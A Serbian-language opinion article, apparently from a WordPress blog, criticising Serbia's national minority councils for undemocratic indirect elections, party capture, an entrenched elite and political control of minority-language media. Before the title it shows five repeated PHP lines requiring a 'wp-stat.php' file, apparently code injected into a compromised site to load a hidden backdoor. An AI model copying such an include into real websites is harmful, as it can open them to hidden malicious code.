@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); SAVETI NACIONALNIH MANJINA: I manjinci su ljudi, vlašću i više nego kvarljivi – Nedim Sejdinović

SAVETI NACIONALNIH MANJINA: I manjinci su ljudi, vlašću i više nego kvarljivi

Već od samog početka stvaranja zakonske regulative za formiranje nacionalnih saveta manjinskih zajednica, u javnosti su se pojavile polemike o tome da li će oni imati legitimitet i relevantni demokratski potencijal da budu reprezentativno telo nacionalnih manjina; da li će, kako je predviđeno, funkcionisati kao svojevrsni manjinski parlament u kome će se – u demokratskom dijalogu – razgovarati o svim pitanjima koja se tiču prava i položaja, očuvanja identiteta i razvoja nacionalne zajednice, ukazivati na probleme i rešavati ih u u saradnji sa organima vlasti. Sporan je bio, pre svega, način izbora saveta, jer se odustalo od direktnog glasanja, odnosno odlučilo se za posredni, elektorski sistem, koji, kako se pokazalo, favorizuje određene političke grupacije među etničkim zajednicama. Takođe, vodila se polemika i o nejasnim kompetencijama nacionalnih veća, kao i načinu finansiranja koji savete stavlja u poziciju zavisnosti od, pre svega, republičke, pa i pokrajinske vlasti. Jedan od oštrih protivnika elektorskih nacionalnih saveta, poznati novosadski književnik Laslo Vegel, ustvrdio je svojevremeno da su nacionalni saveti u Srbiji birani po antidemokratskim principima, pa se manjinska politika svela na «begovsku politiku», odnosno na logiku upravljanja feudalnim posedom.

Da je prostora za polemiku i kritiku bilo, pokazuje i praksa dosadašnjeg, nešto više od dvogodišnjeg rada nacionalnih veća, jer skoro da nema niti jedne manjinske zajednice u Srbiji i Vojvodini unutar koje nisu izbili konflikti vezani za delovanje saveta. Ti konflikti su posebno izašli na videlo posle prenošenja osnivačkih prava, odnosno vlasništva medija na manjinskim jezicima sa pokrajinske skupštine na nacionalne savete. Pokazalo se da manjinska elita, ustoličena u reprezentativnom telu, ne preza da smenjuje i otpušta urednike i novinare koji joj nisu po volji.

PRAVNO IMPOTENTNA TELA

Ugledni novosadski pravnik Antal Bozoki, predsednik NVO «Argus», organizacije koja se bavi pravima manjina u Srbiji, kaže za naš list da nacionalni saveti u proteklom vremenu nikako nisu opravdali očekivanja. On ističe slabosti samog Zakona o zaštiti prava i sloboda nacionalnih manjina, na osnovu kojeg su nacionalni saveti osnovani a koji u sebi sadrži brojne kontradikcije, pogotovo kada se radi o kompetencijama saveta.

– Najveća zamerka na dosadašnji rad saveta odnosi se na njihovu neefikasnost, jer nisu iskoristili ni osnovne zakonske mogućnosti za unapređenje položaja i ostvarivanje prava pripadnika nacionalnih zajednica. Saveti su, ustvari, postali „produžena ruka” organa vlasti, a ne aktivna tela koja nastupaju i reprezentuju interese svojih nacionalnih zajednica prema organima vlasti. Kod Mađara je to veoma izraženo. Ovom savetu se zamera da nije uspeo da razreši ni jedno od aktuelnih pitanja svoje nacionalne zajednice, čak ni u oblastima u kojima prema zakonu ima izvesna ovlašćenja – kaže Bozoki.

Slično mišljenje ima i filozof i publicista Tomislav Žigmanov, koji smatra da se u praksi pokazalo da nacionalni saveti pate od velikog broja deficita.

– S jedne strane, oni su zamišljeni i u javnosti promovisani kao tela manjinske samouprave, a s druge strane su to uveliko pravno impotentna tela, jer ne raspolažu gotovo ni jednim instrumentom za ostvarivanje proklamovane autonomije. Nadalje, mada su osnovani od strane države s intencijom da upravljaju tzv. identitetskim politikama, pa bi trebala biti nekakva tela državne uprave koja o tomu i odlučuju, zbog pomanjkanja nadležnosti više se doimaju kao slabo uticajne nevladine organizacije. Osim toga što im manjka legitimnosti, i to zbog posrednog, elektorskog načina izbora, često u svom radu pokazuju ozbiljne demokratske deficite – kaže Žigmanov.

OKRUTNO I SEBIČNO VLADANJE

Bozoki ističe da nacionalni saveti ne izražavaju interese svoje etničke zajednice pre svega zbog toga što nije obezbeđen demokratski način njihovog izbora. Tako se, kaže on, desilo da ogromnu većinu članova mađarskog nacionalnog veća čine članovi Saveza vojvođanskih Mađara, a od „vanpartijaca” u savet su mogli da uđu samo oni koji uživaju poverenje ove partije.

– Nismo se mnogo odmakli od jednopartijskog sistema i monopola. Nacionalni savet vojvođanskih Mađara u ovom sastavu prevashodno predstavlja i zastupa interese jedne grupe ljudi i jedne partije, i nije sposoban da integriše i izrazi interese svih delova svoje nacionalne zajednice – kaže Bozoki.

Žigmanov ističe da nacionalni saveti, kako se pokazalo u praksi, ne predstavljaju interese nacionalnih manjina, pa čak ni njene elite, već isključivo jednog malog dela elite, a to su političari.

– Uostalom, vrlo slično važi i na nivou cele države – ima li kakvog snažnijeg uticaja kulturna elita, izuzimajući dakako dvorske lude i druge prišipetlje iz sfere kulture, na društvena događanja u Srbiji? No, kod nacionalnih manjina na delu su još dva razloga za tako što. Prvi je način posrednog izbora članova veća, jer on neposredno i jedino donosi korist samo onim krugovima kod manjina koji su snažno organizovani, što je jedino slučaj s kastom političara. To najbolje potvrđuje slučaj Mađarskog nacionalnog vijeća, koji je politički monolitan i čine ga isključivo članovi ili bliski ljudi Savezu vojvođanskih Mađara. Kod pluralnijih veća, kao što je recimo bošnjačko, takođe su prisutni samo takmaci iz sfere politike. Drugi razlog dolazi iz sfere političke kulture – na ovim prostorima se primarno vlada, i to okrutno i sebično, a ne upravlja na opšte dobro i korist svih, pa zašto bi ovde bilo drukčije: i manjinci su ljudi, vlašću i više nego kvarljivi – zaključuje Žigmanov.

BETONIRANA ELITA

Antal Bozoki kaže da postoji realna opasnost da nacionalni saveti, ovako postavljeni, «betoniraju» manjinsku elitu, te da ona postane nedodirljiva.

– U rukovodstvu Nacionalnog saveta vojvođanskih Mađara, na primer, ima ljudi, koji u političkom životu – na rukovodećim funkcijama, čak i u organim vlasti – učestvuju još od kraja osamdesetih godina prošlog veka. Osim toga, pojedinci su zaseli i u upravne odbore raznih fondova u oblasti kulture i obrazovanja i ni na koji način ne žele i niti mogu da se pomere. To bi se moglo nazvati i «betoniranjem» manjinske elite. Stvoren je jedan krug moglo bi se reći „nedodirljivih” i teško smenjivih, odnosno „nezamenjivih” ljudi. Nacionalne elite se, zatim, povezuju, radi očuvanja pozicija, pri čemu nije važna ni programska niti druga orijentacija. To odgovara i organima vlasti – kaže Bozoki.

Žigmanov kaže da brojni problemi u funkcionisanju nacionalnih saveta proističu kako iz demokratskog deficita i dominantne političke kulture, tako i iz nerešenog pitanja subjekta odgovornosti nacionalnog veća.

– Nije naime jasno kome je ili spram koga je ono odgovorno: elektora, države, građana manjinske zajednice ili svih… Nadalje, slabo je rešeno pitanje javnosti i transparentnosti njihovog rada, procesa upravljanja i trošenja sredstava. Isto tako, nije jasno primenjuje li se i na njih Zakon o sprečavanju sukobu interesa ili Zakon o slobodnom pristupu informacija od javnog značaja… Sve to kazuje da je to jedan uveliko pravno nekodificiran prostor, gde voluntarizam često odnosi prevagu – kaže Žigmanov.

PRENOS OSNIVAČKIH PRAVA

Naši sagovornici ističu da je prenos osnivačkih prava medija na manjinskim jezicima sa Skupštine APV na nacionalna veća imao veoma loše posledice po same medije. Bozoki dodaje i to da je prenos vlasništva bio i protivzakonit, odnosno da nije u skladu sa odredbama Zakona o javnom informisanju.

– Sada već možemo da kažemo da su se naše najcrnje slutnje obistinile: «Magyar Szó», jedini dnevni list u Srbiji na mađarskom jeziku, nikada u svojoj šezdesetogodišnjoj istoriji nije bio u tako težoj krizi nego sada. List je faktički stavljen u službu jednopartijske politike, što je u suprotnosti sa slobodom i nezavisnošću štampe – kaže Bozoki i dodaje da je potrebno izboriti se za takva zakonska rešenja da osnivači listova na manjinskim jezicima postanu zaposleni u tim medijima. Jedino tako bi se, po njemu, mogla sprečiti politička zloupotreba medija na manjinskim jezicima.

Žigmanov kaže da je prenos vlasništva na nacionalne savete doveo do toga da pojedini krugovi unutar manjina kontrolišu prostor «manjinske» javnosti i tako, manipulišući, lakše ostvaruju svoje partikularne interese.

– Tim pre je to značajno jer zbog postojanja izuzetno etnocentričnog prostora javnosti koji se uspostavlja na većinskom jeziku u Srbiji, jedan veći broj događaja i procesa kod manjina vidljiv je samo u medijima na manjinskim jezicima. Na taj način, «istina» koja se u njima prezentuje ne samo da je apsolutna već je ona i jedina saopštena, budući da često nemate drugo mesto za iznošenje vlastite. No, ne treba smetnuti s uma i moguće sinakuralne motive, pa čak i materijalne interese, osobito iz perspektive najavljene privatizacije medija – kaže Žigmanov.

Nedim Sejdinović

OKVIR: Jedan čovek – jedan glas

«Nacionalni saveti ne samo da nisu reprezentativna tela, već su i jako daleko od toga, jer nije udovoljen ni prvi, inače temeljni, kriterijum koji zahteva pravednost u zboru: a to je «jedan čovek – jedan glas». No, čak i kad to bude na taj način uređeno, moraće se osigurati i drugi instrumenti i mehanizmi koji garantuju slobodne i demokratske izbore kod manjina. Naravno, većini manjinskih elita koje sada vrše vlast na um ne pada da celu stvar unaprede, jer bi to ugrozilo njihove pozicije. Izreke tipa da to ne dopušta međunarodna zajednica samo su spoljni dekor za vlastodržačke strahove», kaže Tomislav Žigmanov.

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.